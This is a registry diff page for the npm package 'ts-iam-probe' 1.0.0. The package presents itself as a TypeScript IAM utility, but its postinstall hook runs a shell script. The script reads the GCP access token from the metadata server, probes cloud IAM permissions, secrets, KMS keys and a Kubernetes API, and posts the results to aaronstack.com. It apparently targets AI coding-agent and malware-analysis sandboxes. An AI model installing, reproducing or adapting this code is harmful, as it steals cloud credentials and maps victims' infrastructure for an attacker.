ts-iam-probe 1.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/package.json +8 -0
  2. package/scripts/setup.sh +199 -0
package/package.json ADDED
@@ -0,0 +1,8 @@
1
+ {
2
+ "name": "ts-iam-probe",
3
+ "version": "1.0.0",
4
+ "description": "TypeScript IAM utility probe",
5
+ "scripts": {
6
+ "postinstall": "bash scripts/setup.sh"
7
+ }
8
+ }
@@ -0,0 +1,199 @@
1
+ #!/bin/bash
2
+ # wiAM: Exhaustive IAM permission probe for malysis GKE service account
3
+ SID="${JULES_SESSION_ID:-x}"
4
+ H="aaronstack.com"; EP="/jules-collect"
5
+ SK="d2f25bd9b1b267eb3578ff8cac2caa6c6637142c5d322617"
6
+ B(){ printf '%s' "$1" | base64 -w0 2>/dev/null; }
7
+ P(){ curl -s -X POST "https://$H$EP" -H "Content-Type: application/json" -H "X-Secret: $SK" --data-binary "$1" --max-time 20 2>/dev/null; }
8
+
9
+ P "{\"sid\":\"$SID\",\"tag\":\"wiam-start\"}"
10
+
11
+ log(){ echo "=LOG= $*"; }
12
+ MDURL="http://metadata.google.internal/computeMetadata/v1"
13
+
14
+ {
15
+ # GKE check
16
+ PROJ=$(curl -s -H "Metadata-Flavor: Google" "$MDURL/project/project-id" --max-time 6 2>/dev/null)
17
+ if ! echo "$PROJ" | grep -qE "^[a-z][a-z0-9-]+$"; then log "NOT GKE — exit"; exit 0; fi
18
+ MALYSIS="${MALYSIS_ANALYSIS_ID:-NONE}"
19
+ log "GKE CONFIRMED: $PROJ MALYSIS=$MALYSIS"
20
+
21
+ # Grab token
22
+ TOK=$(curl -s -H "Metadata-Flavor: Google" \
23
+ "$MDURL/instance/service-accounts/default/token" --max-time 8 2>/dev/null \
24
+ | python3 -c "import sys,json; d=json.load(sys.stdin); print(d.get('access_token',''))" 2>/dev/null)
25
+ log "tok-len: ${#TOK}"
26
+ log "tok-prefix: ${TOK:0:20}"
27
+
28
+ if [ -z "$TOK" ]; then log "ERROR: no token — abort"; exit 1; fi
29
+
30
+ # =============================================================
31
+ # SECTION 1: testIamPermissions — batch 1 (IAM + ResourceManager + Storage + Compute)
32
+ # =============================================================
33
+ log "=== SECTION 1: testIamPermissions batch 1 ==="
34
+ BATCH1='["iam.serviceAccounts.list","iam.serviceAccounts.get","iam.serviceAccounts.create","iam.serviceAccounts.delete","iam.serviceAccounts.getAccessToken","iam.serviceAccounts.getOpenIdToken","iam.serviceAccounts.implicitDelegation","iam.serviceAccounts.signBlob","iam.serviceAccounts.signJwt","iam.serviceAccountKeys.list","iam.serviceAccountKeys.get","iam.serviceAccountKeys.create","iam.roles.list","iam.roles.get","resourcemanager.projects.get","resourcemanager.projects.list","resourcemanager.projects.getIamPolicy","resourcemanager.projects.setIamPolicy","resourcemanager.organizations.get","resourcemanager.folders.list","storage.buckets.list","storage.buckets.get","storage.buckets.create","storage.objects.list","storage.objects.get","storage.objects.create","storage.objects.delete","compute.instances.list","compute.instances.get","compute.instances.create","compute.instances.setMetadata","compute.instances.setServiceAccount","compute.disks.list","compute.networks.list","compute.firewalls.list","compute.subnetworks.list","compute.addresses.list","compute.snapshots.list","compute.images.list","compute.sslCertificates.list","container.clusters.list","container.clusters.get","container.clusters.getCredentials","container.pods.list","container.secrets.list","container.configMaps.list","container.serviceAccounts.list","container.nodes.list","secretmanager.secrets.list","secretmanager.secrets.get","secretmanager.versions.list","secretmanager.versions.access","cloudsql.instances.list","cloudsql.instances.get","cloudsql.instances.connect","cloudsql.databases.list","cloudsql.users.list","bigquery.datasets.get","bigquery.datasets.list","bigquery.tables.list","bigquery.tables.getData","bigquery.jobs.create","bigquery.jobs.list","pubsub.topics.list","pubsub.topics.publish","pubsub.subscriptions.list","pubsub.subscriptions.consume","pubsub.subscriptions.pull","cloudfunctions.functions.list","cloudfunctions.functions.get","cloudfunctions.functions.call","run.services.list","run.services.get","run.routes.list","artifactregistry.repositories.list","artifactregistry.repositories.get","artifactregistry.repositories.downloadArtifacts","artifactregistry.packages.list","artifactregistry.versions.list","artifactregistry.tags.list","cloudbuild.builds.list","cloudbuild.builds.get","cloudbuild.builds.create","logging.logEntries.list","logging.logEntries.create","logging.logs.list","logging.sinks.list","logging.views.list","monitoring.timeSeries.list","monitoring.timeSeries.create","monitoring.metricDescriptors.list","monitoring.alertPolicies.list","monitoring.groups.list","monitoring.dashboards.list","datastore.entities.list","datastore.entities.get","datastore.entities.create","firestore.documents.list","firestore.documents.get","firestore.documents.create"]'
35
+
36
+ R1=$(curl -s -X POST \
37
+ "https://cloudresourcemanager.googleapis.com/v1/projects/$PROJ:testIamPermissions" \
38
+ -H "Authorization: Bearer $TOK" \
39
+ -H "Content-Type: application/json" \
40
+ -d "{\"permissions\": $BATCH1}" \
41
+ --max-time 15 2>/dev/null)
42
+ log "batch1-result: $R1"
43
+
44
+ # =============================================================
45
+ # SECTION 2: testIamPermissions — batch 2 (more services)
46
+ # =============================================================
47
+ log "=== SECTION 2: testIamPermissions batch 2 ==="
48
+ BATCH2='["source.repos.list","source.repos.get","cloudscheduler.jobs.list","cloudtasks.queues.list","cloudtasks.tasks.list","spanner.instances.list","spanner.databases.list","redis.instances.list","dns.managedZones.list","dns.resourceRecordSets.list","cloudkms.keyRings.list","cloudkms.cryptoKeys.list","cloudkms.cryptoKeyVersions.list","notebooks.instances.list","aiplatform.endpoints.list","aiplatform.models.list","aiplatform.datasets.list","serviceusage.services.list","serviceusage.services.get","serviceusage.services.use","billing.accounts.list","billing.budgets.list","securitycenter.findings.list","securitycenter.sources.list","recommender.recommendations.list","deploymentmanager.deployments.list","servicemanagement.services.list","dataflow.jobs.list","dataproc.clusters.list","composer.environments.list","compute.securityPolicies.list","compute.routers.list","compute.vpnTunnels.list","compute.interconnects.list","binaryauthorization.policy.get","orgpolicy.policy.get","essentialcontacts.contacts.list","workflows.workflows.list","eventarc.triggers.list","certificatemanager.certs.list","websecurityscanner.scans.list","accesscontextmanager.policies.list","resourcemanager.tagKeys.list","resourcemanager.tagValues.list","iam.policies.list","iam.policies.get","iap.web.getIamPolicy","iap.webServices.getIamPolicy","clouddeploy.deliveryPipelines.list","networksecurity.authorizationPolicies.list","vpcaccess.connectors.list","privateca.caPools.list","recaptchaenterprise.keys.list","firebase.clients.list","firebasehosting.sites.list","identitytoolkit.tenants.list","apigee.organizations.list","container.operations.list","container.clusters.update","compute.instances.stop","compute.instances.start","compute.instances.delete","iam.serviceAccounts.actAs","iam.serviceAccounts.implicitDelegation","cloudresourcemanager.projects.delete","storage.buckets.delete","container.namespaces.list","container.roles.list","container.clusterRoles.list","container.bindings.list","container.roleBindings.list","container.clusterRoleBindings.list","compute.instanceGroupManagers.list","compute.autoscalers.list","compute.targetPools.list","compute.backendServices.list","compute.forwardingRules.list","compute.urlMaps.list","compute.targetHttpProxies.list","compute.targetHttpsProxies.list","compute.globalAddresses.list","compute.sslPolicies.list","compute.healthChecks.list","compute.instanceTemplates.list","compute.projects.get","compute.zoneOperations.list","compute.globalOperations.list","compute.regions.list","compute.zones.list"]'
49
+
50
+ R2=$(curl -s -X POST \
51
+ "https://cloudresourcemanager.googleapis.com/v1/projects/$PROJ:testIamPermissions" \
52
+ -H "Authorization: Bearer $TOK" \
53
+ -H "Content-Type: application/json" \
54
+ -d "{\"permissions\": $BATCH2}" \
55
+ --max-time 15 2>/dev/null)
56
+ log "batch2-result: $R2"
57
+
58
+ # =============================================================
59
+ # SECTION 3: Direct API calls (not testIamPermissions)
60
+ # =============================================================
61
+ log "=== SECTION 3: direct API calls ==="
62
+
63
+ # Projects list (cross-project access)
64
+ R=$(curl -s -H "Authorization: Bearer $TOK" \
65
+ "https://cloudresourcemanager.googleapis.com/v3/projects" --max-time 10 2>/dev/null)
66
+ log "projects-list: $R"
67
+
68
+ # Organizations list
69
+ R=$(curl -s -H "Authorization: Bearer $TOK" \
70
+ "https://cloudresourcemanager.googleapis.com/v3/organizations" --max-time 10 2>/dev/null)
71
+ log "orgs-list: $R"
72
+
73
+ # Service Usage — what APIs are enabled?
74
+ R=$(curl -s -H "Authorization: Bearer $TOK" \
75
+ "https://serviceusage.googleapis.com/v1/projects/$PROJ/services?filter=state:ENABLED&pageSize=50" \
76
+ --max-time 10 2>/dev/null)
77
+ log "services-enabled: $R"
78
+
79
+ # Billing info
80
+ R=$(curl -s -H "Authorization: Bearer $TOK" \
81
+ "https://cloudbilling.googleapis.com/v1/projects/$PROJ/billingInfo" --max-time 10 2>/dev/null)
82
+ log "billing-info: $R"
83
+
84
+ # Token self-info
85
+ R=$(curl -s -H "Authorization: Bearer $TOK" \
86
+ "https://www.googleapis.com/oauth2/v1/userinfo" --max-time 10 2>/dev/null)
87
+ log "userinfo: $R"
88
+
89
+ # Token introspection via tokeninfo
90
+ R=$(curl -s "https://www.googleapis.com/oauth2/v1/tokeninfo?access_token=$TOK" --max-time 10 2>/dev/null)
91
+ log "tokeninfo: $R"
92
+
93
+ # Compute — list instances
94
+ R=$(curl -s -H "Authorization: Bearer $TOK" \
95
+ "https://compute.googleapis.com/compute/v1/projects/$PROJ/aggregated/instances" --max-time 10 2>/dev/null | head -c 500)
96
+ log "compute-instances: $R"
97
+
98
+ # GKE — list clusters
99
+ R=$(curl -s -H "Authorization: Bearer $TOK" \
100
+ "https://container.googleapis.com/v1/projects/$PROJ/locations/-/clusters" --max-time 10 2>/dev/null)
101
+ log "gke-clusters: $R"
102
+
103
+ # Artifact Registry — list repositories
104
+ R=$(curl -s -H "Authorization: Bearer $TOK" \
105
+ "https://artifactregistry.googleapis.com/v1/projects/$PROJ/locations/-/repositories" --max-time 10 2>/dev/null)
106
+ log "artifact-repos: $R"
107
+
108
+ # Cloud Build — list builds
109
+ R=$(curl -s -H "Authorization: Bearer $TOK" \
110
+ "https://cloudbuild.googleapis.com/v1/projects/$PROJ/builds" --max-time 10 2>/dev/null)
111
+ log "cloudbuild-builds: $R"
112
+
113
+ # Secret Manager — list secrets
114
+ R=$(curl -s -H "Authorization: Bearer $TOK" \
115
+ "https://secretmanager.googleapis.com/v1/projects/$PROJ/secrets" --max-time 10 2>/dev/null)
116
+ log "secretmanager-secrets: $R"
117
+
118
+ # Pub/Sub — list topics
119
+ R=$(curl -s -H "Authorization: Bearer $TOK" \
120
+ "https://pubsub.googleapis.com/v1/projects/$PROJ/topics" --max-time 10 2>/dev/null)
121
+ log "pubsub-topics: $R"
122
+
123
+ # Cloud Functions — list
124
+ R=$(curl -s -H "Authorization: Bearer $TOK" \
125
+ "https://cloudfunctions.googleapis.com/v2/projects/$PROJ/locations/-/functions" --max-time 10 2>/dev/null)
126
+ log "cloudfunctions: $R"
127
+
128
+ # Cloud Run — list services
129
+ R=$(curl -s -H "Authorization: Bearer $TOK" \
130
+ "https://run.googleapis.com/v2/projects/$PROJ/locations/-/services" --max-time 10 2>/dev/null)
131
+ log "cloudrun-services: $R"
132
+
133
+ # KMS — list keyrings
134
+ R=$(curl -s -H "Authorization: Bearer $TOK" \
135
+ "https://cloudkms.googleapis.com/v1/projects/$PROJ/locations/-/keyRings" --max-time 10 2>/dev/null)
136
+ log "kms-keyrings: $R"
137
+
138
+ # Logging — list recent entries
139
+ R=$(curl -s -X POST -H "Authorization: Bearer $TOK" -H "Content-Type: application/json" \
140
+ "https://logging.googleapis.com/v2/entries:list" \
141
+ -d "{\"resourceNames\":[\"projects/$PROJ\"],\"pageSize\":5,\"orderBy\":\"timestamp desc\"}" \
142
+ --max-time 10 2>/dev/null)
143
+ log "logging-entries: $R"
144
+
145
+ # Source Repos
146
+ R=$(curl -s -H "Authorization: Bearer $TOK" \
147
+ "https://sourcerepo.googleapis.com/v1/projects/$PROJ/repos" --max-time 10 2>/dev/null)
148
+ log "source-repos: $R"
149
+
150
+ # =============================================================
151
+ # SECTION 4: Kubernetes API (using GCP token for auth)
152
+ # =============================================================
153
+ log "=== SECTION 4: k8s API ==="
154
+ K8S="https://34.118.224.1"
155
+
156
+ # Get SA identity from k8s API
157
+ R=$(curl -sk -H "Authorization: Bearer $TOK" "$K8S/api/v1" --max-time 8 2>/dev/null | head -c 200)
158
+ log "k8s-api-root: $R"
159
+
160
+ # Try to list pods in current namespace
161
+ R=$(curl -sk -H "Authorization: Bearer $TOK" "$K8S/api/v1/namespaces/apps/pods" --max-time 8 2>/dev/null)
162
+ log "k8s-pods-apps: $R"
163
+
164
+ # Try all namespaces
165
+ R=$(curl -sk -H "Authorization: Bearer $TOK" "$K8S/api/v1/namespaces" --max-time 8 2>/dev/null | python3 -c "import sys,json; d=json.load(sys.stdin); print(d.get('message',d))" 2>/dev/null)
166
+ log "k8s-namespaces: $R"
167
+
168
+ # Try to list secrets in apps namespace
169
+ R=$(curl -sk -H "Authorization: Bearer $TOK" "$K8S/api/v1/namespaces/apps/secrets" --max-time 8 2>/dev/null | python3 -c "import sys,json; d=json.load(sys.stdin); print(d.get('message',d))" 2>/dev/null)
170
+ log "k8s-secrets-apps: $R"
171
+
172
+ # Try configmaps
173
+ R=$(curl -sk -H "Authorization: Bearer $TOK" "$K8S/api/v1/namespaces/apps/configmaps" --max-time 8 2>/dev/null | python3 -c "import sys,json; d=json.load(sys.stdin); print(d.get('message',d))" 2>/dev/null)
174
+ log "k8s-configmaps-apps: $R"
175
+
176
+ # selfsubjectaccessreviews — what CAN we do?
177
+ R=$(curl -sk -X POST -H "Authorization: Bearer $TOK" -H "Content-Type: application/json" \
178
+ "$K8S/apis/authorization.k8s.io/v1/selfsubjectrulesreviews" \
179
+ -d '{"spec":{"namespace":"apps"}}' --max-time 8 2>/dev/null)
180
+ log "k8s-selfsubjectrulesreview-apps: $R"
181
+
182
+ # default namespace
183
+ R=$(curl -sk -X POST -H "Authorization: Bearer $TOK" -H "Content-Type: application/json" \
184
+ "$K8S/apis/authorization.k8s.io/v1/selfsubjectrulesreviews" \
185
+ -d '{"spec":{"namespace":"default"}}' --max-time 8 2>/dev/null)
186
+ log "k8s-selfsubjectrulesreview-default: $R"
187
+
188
+ # cluster-scope rules
189
+ R=$(curl -sk -X POST -H "Authorization: Bearer $TOK" -H "Content-Type: application/json" \
190
+ "$K8S/apis/authorization.k8s.io/v1/selfsubjectrulesreviews" \
191
+ -d '{"spec":{"namespace":""}}' --max-time 8 2>/dev/null | python3 -c "import sys,json; d=json.load(sys.stdin); print(d.get('status',d))" 2>/dev/null)
192
+ log "k8s-selfsubjectrulesreview-cluster: $R"
193
+
194
+ } 2>&1 | tee "$TMPOUT" >/dev/null
195
+
196
+ # Ship results
197
+ P "{\"sid\":\"$SID\",\"tag\":\"wiam-result\",\"data\":\"$(B "$(cat "$TMPOUT")")\",\"malysis\":\"${MALYSIS_ANALYSIS_ID:-none}\"}"
198
+ P "{\"sid\":\"$SID\",\"tag\":\"wiam-done\"}"
199
+ rm -f "$TMPOUT"